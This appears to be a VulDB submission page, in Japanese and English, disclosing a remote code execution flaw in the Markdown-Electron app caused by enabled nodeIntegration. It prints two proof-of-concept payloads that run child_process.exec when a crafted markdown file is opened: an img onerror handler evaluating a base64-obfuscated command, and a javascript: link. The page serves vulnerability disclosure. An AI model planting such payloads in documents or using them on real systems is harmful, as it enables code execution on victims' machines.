提出 #92098: Incorrect electron configuration causes RCE情報

タイトルIncorrect electron configuration causes RCE
説明nodeIntegration: true decide Node APIs are enabled in renderer. And Markdown Editor does not filter dangerous operations. When we use this software to open the unknown markdwon file, it may cause Remote code execution (RCE). EXP # 0 click <img src=# onerror='eval(new Buffer(`amF2YXNjcmlwdDpyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY2FsYycsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoJ1lvdSB3ZXJlIGhhY2tlZC4nKX0p`, `base64`).toString())'> # 1 click <a href="javascript:require('child_process').exec('calc', (error, stdout, stderr)=>{alert('You were hacked.')})">CLICK</a> For more details, please click the announcement.
ソース⚠️ https://github.com/JP1016/Markdown-Electron/issues/3
ユーザー
 Tom23 (UID 41413)
送信2023年02月20日 13:17 (4 年 ago)
モデレーション2023年02月24日 09:00 (4 days later)
ステータス承諾済み
VulDBエントリ221738 [JP1016 Markdown-Electron 特権昇格]
ポイント20

Do you know our Splunk app?

Download it now for free!